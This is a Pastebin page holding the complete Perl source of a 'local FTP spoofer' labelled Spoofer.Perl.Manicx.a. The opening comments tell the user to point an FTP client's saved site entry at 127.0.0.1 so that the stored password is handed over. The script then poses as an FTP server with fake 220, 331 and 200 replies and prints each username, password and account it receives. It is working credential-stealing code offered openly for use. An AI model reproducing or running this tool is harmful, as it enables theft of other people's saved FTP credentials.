Advertisement
FlyFar

Spoofer.Perl.Manicx.a - Source Code

Mar 14th, 2023
1,483
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.02 KB | Cybersecurity | 0 0
  1. # This is a simple tcp server that listens on port 21
  2. # unless another is specified.  
  3. # The possible uses of this are;
  4. #  Ftp has no encryption for passwords and they are
  5. #  sent in plain text under the right conditions.
  6. #  Most ftp programs have a text file called <program-name>.ini
  7. #  which will store the info like site-name, user-name, encrypted
  8. #  password and account-name.  Instead of trying to decrypt the
  9. #  password for each different application (ws_ftp etc)
  10. #  do this.  
  11. #    Edit the <program-name>.ini
  12. #    Wherever there is a site-name change it to 127.0.0.1
  13. #    Start your this perl scipt
  14. #    Open your ftp program and click connect
  15.  
  16. # Most of this coding was already in the /perl/eg/ folder
  17. # you can find the orginal version there ..
  18.  
  19. print "===========================\n";
  20. print " Manicx local FTP spoofer\n";
  21. print " www.infowar.co.uk/manicx/\n";
  22. print "===========================\n";
  23.  
  24. ($port) = @ARGV;
  25. $port = 21 unless $port;    # Are port is 21 unless specified
  26.  
  27. $AF_INET = 2;
  28. $SOCK_STREAM = 1;
  29.  
  30. $sockaddr = 'S n a4 x8';
  31.  
  32. ($name, $aliases, $proto) = getprotobyname('tcp');
  33. if ($port !~ /^\d+$/) { ($name, $aliases, $port) = getservbyport($port, 'tcp');}
  34.  
  35. print "Port = $port\n";
  36.  
  37. $this = pack($sockaddr, $AF_INET, $port, "\0\0\0\0");
  38.  
  39. select(NS); $| = 1; select(stdout);
  40.  
  41. socket(S, $AF_INET, $SOCK_STREAM, $proto) || die "socket: $!";
  42. bind(S,$this) || die "bind: $!";
  43. listen(S,5) || die "connect: $!";
  44.  
  45. select(S); $| = 1; select(stdout);
  46.  
  47. print "Listening for connection..\n";
  48.  
  49. ($addr = accept(NS,S)) || die $!;
  50.  
  51. print "Accept ok\n";
  52.  
  53. ($af,$port,$inetaddr) = unpack($sockaddr,$addr);
  54. @inetaddr = unpack('C4',$inetaddr);
  55.  
  56. print NS "220\n"; # We are ok for login (send username)
  57. $user = <NS>;
  58. print $user;
  59.  
  60. print NS "331\n"; # user ok send password
  61. $pass = <NS>;
  62. print $pass;
  63.  
  64. print NS "331\n"; # password ok send account
  65. $acco = <NS>;
  66. print $acco;
  67.  
  68. print NS "200\n"; # account ok send what you want.
  69.  
  70. $resp = <NS>;
  71. print $resp;
  72.  
  73. print NS "451\n"; # bye bye baby
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement